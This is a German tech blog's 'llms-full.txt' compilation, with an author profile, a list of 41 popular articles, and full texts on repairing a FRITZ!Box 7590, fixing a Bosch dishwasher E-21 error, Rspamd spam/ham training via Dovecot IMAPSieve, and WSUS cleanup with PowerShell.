# Kernel-Error — llms-full.txt

> Vollständiger Inhalt der beliebtesten Artikel von kernel-error.de
> Optimiert für LLM Context Windows. Generiert: 2026-01-24 | Aktualisiert: 2026-02-12
> Datenquellen: Google Search Console, Bing Webmaster Tools, Nginx Access Logs

---

## Kurzprofil des Autors

**Sebastian van de Meer** (Kernel-Error)
- **Standort**: Rheinbach, Deutschland (Rhein-Sieg-Kreis, zwischen Bonn und Köln)
- **Beruf**: CTO bei INFOnline GmbH, Bonn
- **Expertise**: IT-Security, FreeBSD/Linux, Netzwerke, Mail-Server, DNSSEC, Post-Quantum-Kryptographie
- **Verfügbar für**: Security Consulting, Penetration Testing, Incident Response, FreeBSD/Linux Administration
- **Servicegebiet**: Rheinbach, Bonn, Köln, Rhein-Sieg-Kreis, NRW, Remote weltweit
- **Kontakt**: kernel-error@kernel-error.com | https://www.kernel-error.de/kontakt/

**Vollständige Informationen**: https://www.kernel-error.de/llms.txt

---

## Über diese Datei

Diese Datei enthält den vollständigen Inhalt der meistgelesenen und meistgesuchten Artikel.
Die Auswahl basiert auf:
- Google Search Console Klicks und Impressionen
- Bing Webmaster Tools Backlink-Daten
- Nginx Server Access Logs

Für strukturierte Metadaten, Services und Kontaktinformationen siehe: https://www.kernel-error.de/llms.txt

**Nutzung & Zitation:** Zusammenfassen und verlinken ist erwünscht. Bitte die kanonische URL des jeweiligen Artikels als Quelle angeben.

---

## Inhaltsverzeichnis

| # | Datum | Titel |
|---|-------|-------|
| 1 | 2024-10-14 | [FRITZ!Box 7590: Fiepen, Spannungsregler-Probleme und WLAN-Ausfälle](https://www.kernel-error.de/2024/10/14/meine-fritzbox-7590-und-die-spannungswandler/) |
| 2 | 2019-11-11 | [Bosch Geschirrspülmaschine: Fehler E-21 beheben – So geht’s](https://www.kernel-error.de/2019/11/11/bosch-geschirrspuelmaschine-und-der-fehler-e-21/) |
| 3 | 2020-05-04 | [Rspamd: Automatisches Spam/Ham-Lernen mit Dovecot und IMAPSieve](https://www.kernel-error.de/2020/05/04/rspamd-automatisch-spam-ham-lernen-mit-dovecot-und-imapsieve/) |
| 4 | 2020-08-24 | [WSUS-Bereinigung: Timeouts beheben und Speicherplatz freigeben](https://www.kernel-error.de/2020/08/24/wsus-bereinigung-timeout-und-platte-laeuft-mit-updates-voll/) |
| 5 | 2024-10-13 | [FNIRSI GC-01 Upgrade: Akku, Zählrohr & Rad Pro Firmware installieren](https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/) |
| 6 | 2022-03-18 | [DNS over TLS mit BIND, Stunnel und Android 9: Eigener DoT-Server](https://www.kernel-error.de/2022/03/18/bind-9-18-mit-doh-und-dot/) |
| 7 | 2021-03-03 | [Firmware- und BIOS-Updates unter Linux einfach mit fwupd durchführen](https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/) |
| 8 | 2017-08-12 | [Sanftanlauf für Elektromotoren: Softstart & Anlaufstrombegrenzer](https://www.kernel-error.de/2017/08/12/sanftanlauf-fuer-elektromotor-softstart-anlaufstrombegrenzer/) |
| 9 | 2023-06-05 | [QIDI i-Mate S 3D-Drucker: Erfahrungen, Upgrades & Support-Tipps](https://www.kernel-error.de/2023/06/05/qidi/) |
| 10 | 2024-11-09 | [Lötdampfabsaugung selber bauen: DIY-Projekt mit 3D-Druck und Restteilen](https://www.kernel-error.de/2024/11/09/loetdampfabsaugung-aus-resten/) |
| 11 | 2021-01-07 | [Bose QuietComfort 35: Akku tauschen leicht gemacht](https://www.kernel-error.de/2021/01/07/bose-quietcomfort-35-akku-tauschen/) |
| 12 | 2019-02-15 | [TLS 1.3 für Postfix & Dovecot: Einrichtung und Konfiguration](https://www.kernel-error.de/2019/02/15/tls-1-3-fuer-postfix-und-dovecot/) |
| 13 | 2024-12-25 | [BitLocker im Dual-Boot: Systemplatte auf Passwortschutz umstellen](https://www.kernel-error.de/2024/12/25/dual-boot-mit-linux-und-windows-bitlocker-fuer-die-systemplatte-auf-passwort-umstellen/) |
| 14 | 2026-01-07 | [SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken das Problem n...](https://www.kernel-error.de/2026/01/07/ssh-bruteforce-digitalocean-und-abuseipdb-warum-blocken-das-problem-nicht-loest/) |
| 15 | 2026-01-03 | [BIND auf FreeBSD: DoT & DoH einrichten mit Views, IP-Trennung und Testpl...](https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/) |
| 16 | 2025-12-22 | [Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richtig konfiguri...](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/) |
| 17 | 2025-09-30 | [GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Score](https://www.kernel-error.de/2025/09/30/gpt-in-rspamd-aktivieren/) |
| 18 | 2025-01-20 | [IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz im Fokus](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/) |
| 19 | 2025-11-17 | [IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, ...](https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/) |
| 20 | 2025-11-07 | [BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker](https://www.kernel-error.de/2025/11/07/bsi-will-straffreiheit-mehr-rechtssicherheit-fuer-ethische-hacker/) |
| 21 | 2025-02-17 | [Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report](https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/) |
| 22 | 2015-02-02 | [Postfix: Serverzertifikat nicht verifiziert – Fehlerbehebung](https://www.kernel-error.de/2015/02/02/postfix-server-certificate-not-verified/) |
| 23 | 2019-03-08 | [SMTP MTA-STS: Strict Transport Security für deinen Mailserver](https://www.kernel-error.de/2019/03/08/smtp-mta-strict-transport-security-mta-sts/) |
| 24 | 2019-03-25 | [Postfix MTA-STS Resolver für FreeBSD mit Logfile einrichten](https://www.kernel-error.de/2019/03/25/postfix-mta-sts-resolver-fuer-freebsd-mit-logfile/) |
| 25 | 2014-01-28 | [Postfix SSL/TLS sichern mit TLSA, DANE und DNSSEC](https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/) |
| 26 | 2013-11-30 | [DMARC: Domain-Based Message Authentication, Reporting & Conformance (DMA...](https://www.kernel-error.de/2013/11/30/dmarc-domain-based-message-authentication-reporting-conformance/) |
| 27 | 2014-02-15 | [Postfix und Dovecot mit Perfect Forward Secrecy (PFS)](https://www.kernel-error.de/2014/02/15/postfix-und-dovecot-mit-perfect-forward-secrecy-pfs/) |
| 28 | 2019-04-10 | [E-Mails nur noch mit TLS: Transportverschlüsselung erzwingen](https://www.kernel-error.de/2019/04/10/keine-e-mail-mehr-ohne-tls-transportverschluesselung/) |
| 29 | 2013-08-10 | [DNSSEC & DANE: TLS-Zertifikate mit TLSA-Records absichern](https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/) |
| 30 | 2010-11-17 | [DNSSEC HowTo: Sicherheit für dein DNS-System](https://www.kernel-error.de/2010/11/17/mein-kleines-dnssec-howto/) |
| 31 | 2020-04-14 | [TLS-ECDHE mit AES-256-GCM-SHA384 einfach erklärt](https://www.kernel-error.de/2020/04/14/tls-ecdhe-ecdhe-with-aes-256-gcm-sha384-was-bedeutet-das-eigentlich/) |
| 32 | 2020-02-26 | [Von RSA zu ECDSA: Sichere Zertifikate für Web- und Mailserver](https://www.kernel-error.de/2020/02/26/keine-rsa-zertifikate-mehr-o/) |
| 33 | 2020-04-09 | [SSH-Brute-Force mit veralteter Implementierung: Angriffsmuster erkennen](https://www.kernel-error.de/2020/04/09/ssh-bruteforce-mit-alter-implementierung/) |
| 34 | 2025-12-19 | [Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt](https://www.kernel-error.de/2025/12/19/ist-mein-netzwerk-kompromittiert-warum-das-kaum-jemand-merkt/) |
| 35 | 2025-10-30 | [IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks](https://www.kernel-error.de/2025/10/30/ip-kameras-risiken-portfreigaben-rtsp-http-checks/) |
| 36 | 2019-04-19 | [FreeBSD: Native ZFS Encryption einrichten und nutzen](https://www.kernel-error.de/2019/04/19/freebsd-und-native-zfs-encryption/) |
| 37 | 2024-03-29 | [FreeBSD SSH-Server absichern: MFA mit Google Authenticator einrichten](https://www.kernel-error.de/2024/03/29/freebsd-ssh-server-mit-mfa-2fa/) |
| 38 | 2026-01-08 | [OWON XDM1041: Firmware V4.7.0 (20220913) – Update-Dateien und Vorgehen](https://www.kernel-error.de/2026/01/08/owon-xdm1041-firmware-v4-7-0-20220913-update-dateien-und-vorgehen/) |
| 39 | 2026-01-01 | [Von SEO zu AEO: Warum llms.txt, JSON-LD und Answer Engines das Web verän...](https://www.kernel-error.de/2026/01/01/von-seo-zu-aeo-warum-llms-txt-json-ld-und-answer-engines-das-web-veraendern/) |
| 40 | 2025-03-14 | [S/MIME-Zertifikat per DNS veröffentlichen – SMIMEA](https://www.kernel-error.de/2025/03/14/s-mime-zertifikat-erneuern-per-dns-veroeffentlichen-automatisiert-mit-python/) |
| 41 | 2026-02-12 | [Post-Quantum TLS für E-Mail — Postfix und Dovecot mit X25519MLKEM768 auf...](https://www.kernel-error.de/2026/02/12/post-quantum-tls-fuer-e-mail-postfix-und-dovecot-mit-x25519mlkem768-auf-freebsd-15/) |

---


## 1. FRITZ!Box 7590: Fiepen, Spannungsregler-Probleme und WLAN-Ausfälle

**Veröffentlicht:** 2024-10-14
**Permalink:** https://www.kernel-error.de/2024/10/14/meine-fritzbox-7590-und-die-spannungswandler/
**Description:** Erfahrungsbericht zu Fiepen und WLAN-Ausfällen bei der FRITZ!Box 7590. Ursachenanalyse, AVM-Support-Reaktion und Tipps zum Umgang mit...

Eigentlich sollte die Überschrift heißen: Ärgere ich mich gerade über mich selbst oder über AVM?

[Bild: PCB der FritzBox 7590 mit Zoom auf den MP1477 Spannungsregler]

Zuhause arbeitete eine FRITZ!Box 7590 KA, die zu Beginn mit einem [Frixtender](https://frixtender.de/) erweitert wurde. Nach knapp zwei Jahren habe ich bemerkt, dass die FRITZ!Box angefangen hat zu fiepen. Eine Funktionseinschränkung konnte ich jedoch nicht feststellen. Da es aber knapp vor dem Ablauf der Garantie war, habe ich Kontakt mit dem AVM-Support aufgenommen.

Dem AVM-Support habe ich in einer kurzen E-Mail geschildert, dass meine Box plötzlich fiept und ob ihnen in diesem Zusammenhang vielleicht Probleme, beispielsweise mit Spulen oder Spannungsreglern, bekannt sind. Die Antwort vom AVM-Support ließ nicht lange auf sich warten und lautete zusammengefasst: „Nein, uns sind keine Probleme bekannt, aber du kannst deine Box gerne zur Überprüfung/Austausch einschicken.“

Jetzt kommen wir zum Punkt, warum ich mich ärgere und unschlüssig bin, ob ich mich über mich selbst oder über AVM ärgere. Für meine Arbeit benötige ich eine funktionsfähige Internetverbindung. Wenn ich die Box einschicke, muss ich für eine Alternative sorgen. Wenn AVM die Box vorsorglich gegen eine neue tauscht, wäre das zwar schön, aber es gibt schon zu viel Elektroschrott. Elektronik darf Geräusche machen. Spulen könnt ihr euch oft wie eine Art Schwungrad vorstellen. Es braucht etwas, um anzulaufen, läuft dann aber auch noch einige Zeit weiter, selbst wenn es niemand mehr antreibt. Das hängt mit den aufkommenden Magnetfeldern zusammen und ist so gewollt. Magneten kennt ihr, und dass dort Kräfte an den Bauteilen ziehen, könnt ihr euch jetzt ebenfalls vorstellen. Eine Spule kann also mit der Zeit anfangen, leichte Geräusche zu machen, und das ist auch okay. Für Spannungsregler gilt das ebenfalls. Stellt euch einfach euren Wasserhahn vor: Wenn ihr ihn voll aufdreht, kommen da vielleicht 5 Liter in der Minute heraus. Wenn ihr weniger Wasser wollt, macht ihr den Hahn ganz schnell an und wieder aus. Wie schnell ihr das Wasser ein- bzw. ausschalten müsst, um beispielsweise nur 1 Liter pro Minute fließen zu lassen, messt ihr mit euren Augen. Ganz grob funktionieren Schaltnetzteile so. Je nach Last kann man da also schon mal etwas hören, und das ist okay.

So ist ein weiteres Jahr ins Land gegangen, bis mir [in einem meiner Newsticker die Meldung über sterbende FRITZ!Boxen vom Typ 7590 aufgefallen is](https://www.mikrocontroller.net/topic/560494)t. Hier wird von anfänglichem Fiepen, schlechter werdendem 2,4-GHz-WLAN bis hin zum Totalausfall des WLANs und der Box berichtet. Bääähhhhh. Das klang verdächtig nach dem von mir beobachteten Fehlerbild. Nun ist meine Box aus jeglicher Garantie und Gewährleistung heraus. Den AVM-Support brauche ich also nicht mehr zu bemühen, sondern kann mich vielmehr mit dem Gedanken anfreunden, eine neue Box zu kaufen, um auf einen Ausfall vorbereitet zu sein. Zeitgleich haben bei uns im Ort die Arbeiten am Glasfaserausbau begonnen. Diese gehen so schnell und gut voran, dass ich damit rechnen kann, bis zum Ende dieses Jahres von DSL auf Glasfaser wechseln zu können. Mit diesem Wechsel kommt vom Anbieter auch eine neue FRITZ!Box. Tjo… Also Risiko eingehen oder eine Box kaufen, die in 5 oder 6 Monaten dann wohl irgendwo im Regal Staub fängt?

Bevor es eine Antwort auf diese Frage gibt, noch schnell zum Punkt mit dem Ärgern: Ich habe AVM bewusst gefragt, ob es bekannte Probleme mit der Box gibt und speziell auf die aus meiner Sicht verdächtigen Bauteile hingewiesen. Die Antwort war ein klares Nein. Das muss ich jetzt einfach so glauben, aber ich werde den Beigeschmack nicht los, dass es zum Zeitpunkt meiner Supportanfrage schon einige [Reklamationen wegen dieses Problems gegeben haben müsste](https://www.borncity.com/blog/2024/05/30/nachlese-ausfall-des-2-4-ghz-wlan-an-der-fritzbox-7590-nach-ca-5-jahren/). Daher wohl mein möglicher Ärger über AVM – und dass ich auf die Möglichkeit eines Austauschs verzichtet habe – und der Ärger über mich selbst.

Habe ich jetzt eine neue Box gekauft oder nicht? Nein, habe ich natürlich nicht. Ich habe meine Box von der Wand genommen, aufgeschraubt und durchgemessen. Ja, Geräusche und etwas zu hohe Spannung für das 2,4-GHz-WLAN habe ich gemessen bzw. zuordnen können. Alles aber noch im Rahmen, sodass ich gehofft habe, dass es noch ein paar Monate gutgeht. War leider nicht so. Vor ein paar Wochen ist die Box an der Wand „geplatzt“ und ich musste in den sauren Apfel beißen und eine neue für den Übergang kaufen. Jetzt habe ich wohl ein Backup für die Zukunft. Woohoo 🙁 Manchmal lerne ich nicht so schnell dazu, oder? Naja, manchmal kommt halt eins zum anderen.

Ob meine alte Box wirklich mit genau dem beschriebenen Problem ausgefallen ist, wollte ich dennoch herausfinden. Die Sichtprüfung war noch immer gut, aber es war keine Spannung mehr zu messen. Daher habe ich mir von [Aliexpress ein paar MP1477](https://s.click.aliexpress.com/e/_DDVndlb) (die genaue Bezeichnung ist [MP1477GTF-Z](https://s.click.aliexpress.com/e/_DDVndlb)) zuschicken lassen. Ich habe direkt alle drei verbauten Chips ausgetauscht und siehe da, die Box lebt wieder. Oft sollen dabei wohl noch die RF FRONT ENDs 055F als Folge der zu hohen Spannung sterben, aber diese haben es bei mir zum Glück überlebt.

[[Bild: PCB der FritzBox 7590 mit Zoom auf den MP1477 Spannungsregler]](https://www.kernel-error.de/wp-content/uploads/2024/10/FritzBox-7590-MP1477-scaled.jpg)

Nun habe ich also auch noch ein Backup für das zukünftige Backup. Super…

Da ich bei Aliexpress insgesamt 10 Stück bestellt habe, liegen hier jetzt noch ein paar herum. Ich wäre bereit, sie gegen ein Snickers zu tauschen, falls jemand von euch vor einem ähnlichen Problem steht. Uhh, und bedenkt bitte, dass die Dinger **ECHT** klein sind. Ich habe euch mal einen auf ein 1-Cent-Stück gelegt. Ohne Heißluftstation und etwas SMD-Löterfahrung solltet ihr das vielleicht lieber nicht angehen.

[[Bild: Größenvergleich zwischen dem MP1477 Spannungsregler und einem Euro-Cent-Stück]](https://www.kernel-error.de/wp-content/uploads/2024/10/MP1477GTF-Z-scaled.jpg)

Die Messpunkte und die erwarteten Spannungen findet ihr im folgenden Bildchen.

[[Bild: PCB der FritzBox 7590 mit eingezeichneten Messpunkten und Messwerten des MP1477 Spannungsreglers]](https://www.kernel-error.de/wp-content/uploads/2024/10/FritzBox-7590-02-scaled.jpg)

Wenn ihr dann noch Fragen habt, fragt einfach 🙂

---


---


## 2. Bosch Geschirrspülmaschine: Fehler E-21 beheben – So geht’s

**Veröffentlicht:** 2019-11-11
**Permalink:** https://www.kernel-error.de/2019/11/11/bosch-geschirrspuelmaschine-und-der-fehler-e-21/
**Description:** Fehler E-21 bei deiner Bosch Geschirrspülmaschine? Erfahre die Ursachen und wie du das Problem Schritt für Schritt selbst lösen kannst.

Meine Geschirrspülmaschine hat mir heute einige Nerven gekostet. Mit einem fröhlichen E-21 im Display war Schluss mit Spülen. Der Fehlercode deutet darauf hin, dass etwas mit der Umwälzpumpe nicht stimmt. Die Maschine ist jetzt knapp sechs Jahre alt und läuft hier täglich für einen Vier-Personen-Haushalt. Mit anderen Worten: Die Maschine hat selten Langeweile. Oh, sie ist wohl recht baugleich zu Siemens, Neff und Constructa.

Mein erster Schritt war ein Anruf beim nächstgelegenen Serviceanbieter. Dieser sagte mir, dass er die Maschine in einer Woche abholen und bei sich überprüfen könnte. In der Regel wird dann die Umwälzpumpe ausgetauscht, was (bla €) kostet, und ich bekäme die Maschine nach zwei bis drei Tagen zurück. Für 200–300 € mehr könnte er mir aber direkt eine neue Maschine liefern und die alte entsorgen, inklusive Lieferung und Anschluss. Bei einer so alten Maschine … bla bla blupp … Warum werden heutzutage nur noch Teile ausgetauscht? Warum soll immer alles neu sein? Warum repariert niemand mehr?

Eine kurze Suche auf DuckDuckGo brachte mir eine Explosionszeichnung meiner Spülmaschine. Die Konstruktion sieht sehr überschaubar aus … Letztlich fand ich in der Umwälzpumpe ein Stück Plastikverpackung. Die Pumpe ließ sich fast vollständig zerlegen und reinigen. Jetzt läuft die Maschine wieder, ganz ohne Fehler! Insgesamt hat mich die Aktion 40 Minuten meiner Zeit gekostet.

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der Pumpe.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-1-scaled.jpg)

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der geöffneten Pumpe mit einem verklemmten Fremdkörper.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-2-scaled.jpg)

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der komplett zerlegten Pumpe, nach der Reinigung.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-3-scaled.jpg)

[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild vom verklemmten Plastikteil aus der Pumpe.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-4-scaled.jpg)

[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der Pumpe.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der geöffneten Pumpe mit einem verklemmten Fremdkörper.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der komplett zerlegten Pumpe, nach der Reinigung.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild vom verklemmten Plastikteil aus der Pumpe.]

Ein kleiner Tipp für euch: Falls die Pumpe tatsächlich defekt ist, lässt sich das Ersatzteil einfach über Amazon bestellen: [https://amzn.to/3AhYDYI](https://amzn.to/3AhYDYI)

Der Austausch ist sehr einfach, und alles Notwendige ist dabei!

Das weiß ich so genau, weil die Pumpe einige Monate später dann doch aufgegeben hat. Anscheinend hat das kleine Plastikteil eine solche Unwucht verursacht, dass es letztendlich zum Ausfall der Pumpe geführt hat.

---


---


## 3. Rspamd: Automatisches Spam/Ham-Lernen mit Dovecot und IMAPSieve

**Veröffentlicht:** 2020-05-04
**Permalink:** https://www.kernel-error.de/2020/05/04/rspamd-automatisch-spam-ham-lernen-mit-dovecot-und-imapsieve/
**Description:** Lerne, wie du Rspamd mit Dovecot und IMAPSieve einrichtest, um Spam und Ham automatisch zu trainieren. Optimierung für effiziente E-Mail-Filterung.

Bei jedem Spamfilter kann es vorkommen, dass Spam durchrutscht oder eine echte Nachricht fälschlicherweise als Spam eingestuft wird. Rspamd bietet über das Webinterface die Möglichkeit, trainiert zu werden. Hier kann man einfach den Quellcode jeder E-Mail kopieren und Rspamd mitteilen, ob es sich dabei um Spam (SPAM) oder um eine legitime Nachricht (HAM) handelt. Dieses Vorgehen ist jedoch ungeeignet, um den Spamfilter effektiv zu trainieren.

[Bild: Dovecot and RSPAMD Logo]

Wünschenswert wäre folgende Lösung: Immer wenn ein Benutzer eine E-Mail in den Ordner „Junk“ verschiebt, sollte diese E-Mail automatisch von Rspamd als Spam gelernt werden. Zusätzlich sollte jede E-Mail, die der Benutzer aus dem „Junk“-Ordner herausholt, als Ham gelernt werden.

Genau dieses Szenario möchte ich hier kurz beschreiben. Das Hostsystem ist ein FreeBSD; Linux-User müssen daher bei den Pfaden wie /usr/local aufpassen! Ebenfalls lauscht mein Rspamd-Worker nicht auf einem Unix-Socket, sondern auf der IP 127.0.0.3, da er in einer Jail-Umgebung läuft.

Beginnen wir mit der Konfiguration für Dovecot.

20-imap.conf:

```
protocol imap {
  mail_plugins = $mail_plugins sieve
}
```

90-plugin.conf:

```
plugin {
  sieve_plugins = sieve_imapsieve sieve_extprograms

  # From elsewhere to Spam folder or flag changed in Spam folder
  imapsieve_mailbox1_name = Junk
  imapsieve_mailbox1_causes = COPY FLAG
  imapsieve_mailbox1_before = file:/usr/local/etc/dovecot/sieve/report-spam.sieve

  # From Spam folder to elsewhere
  imapsieve_mailbox2_name = *
  imapsieve_mailbox2_from = Junk
  imapsieve_mailbox2_causes = COPY
  imapsieve_mailbox2_before = file:/usr/local/etc/dovecot/sieve/report-ham.sieve

  sieve_pipe_bin_dir = /usr/local/libexec/dovecot

  sieve_global_extensions = +vnd.dovecot.pipe
}

```

/usr/local/etc/dovecot/sieve/report-spam.sieve:

```
require ["vnd.dovecot.pipe", "copy", "imapsieve", "environment", "imap4flags"];

if environment :is "imap.cause" "COPY" {
    pipe :copy "sa-learn-spam.sh";
}

# Catch replied or forwarded spam
elsif anyof (allof (hasflag "\\Answered",
                    environment :contains "imap.changedflags" "\\Answered"),
             allof (hasflag "$Forwarded",
                    environment :contains "imap.changedflags" "$Forwarded")) {
    pipe :copy "sa-learn-spam.sh";
}
```

/usr/local/etc/dovecot/sieve/report-ham.sieve:

```
require ["vnd.dovecot.pipe", "copy", "imapsieve", "environment", "variables"];

if environment :matches "imap.mailbox" "*" {
  set "mailbox" "${1}";
}

if string "${mailbox}" [ "Trash", "train_ham", "train_prob", "train_spam" ] {
  stop;
}

pipe :copy "sa-learn-ham.sh";
```

Natürlich nicht vergessen, die beiden neuen Sieve-Skripte für Sieve zu kompilieren:

```
# sievec /usr/local/etc/dovecot/sieve/report-spam.sieve
# sievec /usr/local/etc/dovecot/sieve/report-ham.sieve
```

Es fehlen nur noch die beiden Shell-Skripte, um die Mails an Rspamd weiterleiten zu können.

/usr/local/libexec/dovecot/sa-learn-spam.sh:

```
#!/bin/sh
exec /usr/local/bin/rspamc -h 127.0.0.3:11334 learn_spam
```

/usr/local/libexec/dovecot/sa-learn-ham.sh:

```
#!/bin/sh
exec /usr/local/bin/rspamc -h 127.0.0.3:11334 learn_ham
```

Beide müssen ausführbar sein:

```
# chmod +x /usr/local/libexec/dovecot/sa-learn-spam.sh /usr/local/libexec/dovecot/sa-learn-ham.sh
```

Wenn ich nun eine E-Mail in den Ordner „Junk“ verschiebe, lernt Rspamd diese automatisch als Spam:

```
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_controller_check_password: allow unauthorized connection from a trusted IP 127.0.0.3
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_message_parse: loaded message; id: ; queue-id: ; size: 49053; checksum: 
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:21:02 #92071(controller) ; csession; rspamd_controller_learn_fin_task:  learned message as spam: FNgLHBeARhiVYgEegF_-Pw@ismtpd0002p1lon1.sendgrid.net
```

Verschiebe ich eine E-Mail aus dem Ordner „Junk“ heraus, wird sie, wie gewünscht, als Ham gelernt:

```
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_controller_check_password: allow unauthorized connection from a trusted IP 127.0.0.3
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_message_parse: loaded message; id: ; queue-id: ; size: 49053; checksum: 
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_mime_part_detect_language: detected part language: de
2020-05-04 11:20:51 #92071(controller) ; csession; rspamd_controller_learn_fin_task:  learned message as ham: FNgLHBeARhiVYgEegF_-Pw@ismtpd0002p1lon1.sendgrid.net
```

Fragen? Einfach fragen!

Ach, und was man nicht mehr verwenden sollte: das Antispam-Plugin – das ist „tot“.

---


---


## 4. WSUS-Bereinigung: Timeouts beheben und Speicherplatz freigeben

**Veröffentlicht:** 2020-08-24
**Permalink:** https://www.kernel-error.de/2020/08/24/wsus-bereinigung-timeout-und-platte-laeuft-mit-updates-voll/
**Description:** Erfahre, wie du Timeout-Probleme bei der WSUS-Bereinigung löst und Festplattenplatz zurückgewinnst. Praktische Tipps für einen reibungslosen Betrieb.

[Bild: WSUS Windows Server Update Service Icon]

Pfffff…. Einen dauerhaft richtig gut laufenden WSUS Server habe ich tatsächlich noch nie gesehen; was auch an mir liegen kann ;-). Irgendwann werden die Dinger laaaaannnnggggssssaaammmm. Dann gibt es Timeouts, dann läuft irgendwann die Serverbereinigung nicht mehr durch und man muss sich mit so einem System beschäftigen, bevor die Platten voll sind.

WSUS ist einfach kein Dienst, den man konfiguriert und dann läuft er, abgesehen von Sicherheitsupdates, durch. Nein… WSUS möchte dauerhaft Aufmerksamkeit. Was mir dabei so aufgefallen ist, möchte ich kurz mit euch teilen!

[[Bild: Screenshot inkl. Klickpfade der WSUS Update Service Oberfläche zum Konfigurieren der Produkte und Klassifizierungen.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-no-driverupdates.jpg)

**Mache NIE (wirklich NIE) Treiberupdates über WSUS.** Hier explodiert der Platzverbrauch für die Updates!
Sollte es jemand aktiviert haben. Als erstes über „Windows Server Update Services (WSUS) ==> Optionen ==> Produkte und Klassifizierungen ==> Klassifizierungen ==> Treiber“ rauswerfen. Dann über „Updates ==> Alle Updates“ zu den Dropdown Menus und hier: Genehmigung: Genehmigt und Status: Alle. Warten bis die Liste vollständig ist und nach Klassifizierung sortieren. Alle Treiberupdates auswählen und ablehnen.

Was mir auch geholfen hat ist das folgende PowerShell Script. Dieses läuft zwar ewig, räumt aber viel weg:

```
[reflection.assembly]::LoadWithPartialName("Microsoft.UpdateServices.Administration")

```

[[Bild: Screenshot der Windows PowerShell ISE inkl. script.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-remove-driver.jpg)

```
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer();
$wsus.GetUpdates() | Where {$_.IsDeclined -eq $true} | ForEach-Object {$wsus.DeleteUpdate($_.Id.UpdateId.ToString()); Write-Host $_.Title removed }
```

Wo wir beim Aufräumen sind… Es gibt so einen wunderschönen „Assistent für die Serverbereinigung“. Dieser sollte überflüssige Updates weg löschen. Also wenn die Computer für die Updates nicht mehr da sind, die Updates von anderen ersetzt wurden oder heruntergeladene Updates abgelehnt wurden. Es ergibt daher Sinn, diesen Assistenten ggf. täglich laufen zu lassen. Er ist nur leider nicht direkt zu automatisieren. Dafür benötigt man ebenfalls ein PowerShell Script welches man täglich per Aufgabenplanung ausführen lässt. Mir hat folgendes bisher immer gute Dienste geleistet.

```
# Variablen
$DateFormat = Get-Date -format yyyyMMdd-HH-mm
$Logfile = "H:\Logs\wsus-bereinigung-$DateFormat.log"

# WSUS Bereinigung durchführen
Invoke-WsusServerCleanup -CleanupObsoleteUpdates -CleanupUnneededContentFiles -CompressUpdates -DeclineExpiredUpdates -DeclineSupersededUpdates | Out-File $Logfile

# Mail Variablen
$MailSMTPServer = "smtp.kernel-error.de"
$MailFrom = "administrator@firma88.inf"
$MailTo = "dev@null.de"
$MailSubject = "${env:COMPUTERNAME} Bereinigung $DateFormat"
$MailBody = Get-Content $Logfile | Out-String

# Mail versenden
Send-MailMessage -SmtpServer $MailSMTPServer -From $MailFrom -To $MailTo -subject $MailSubject -body $MailBody -Encoding Unicode
```

Es räumt auf, erstellt ein Logfile und sendet einem zusätzlich noch eine Status E-Mail darüber zu.

Was aber wenn man in der WSUS Timeout Hölle gefangen ist und die ganzen Versuche fehlschlagen das Ding wieder „sauber“ zu machen? Dabei hat mir folgendes geholfen.

**IIS umstellen:**
IIS-Manager ==> Anwendungspools ==> WsusPool ==> Erweiterte Einstellungen

Limit für den privaten Speicher (KB): 6000000
Maximale Anzahl von Arbeitsprozessen: 0
Startmodus: AlwaysRunning

Nicht vergessen den IIS neu zu starten oder besser den ganzen Server, es ist ja ein Windows 😉

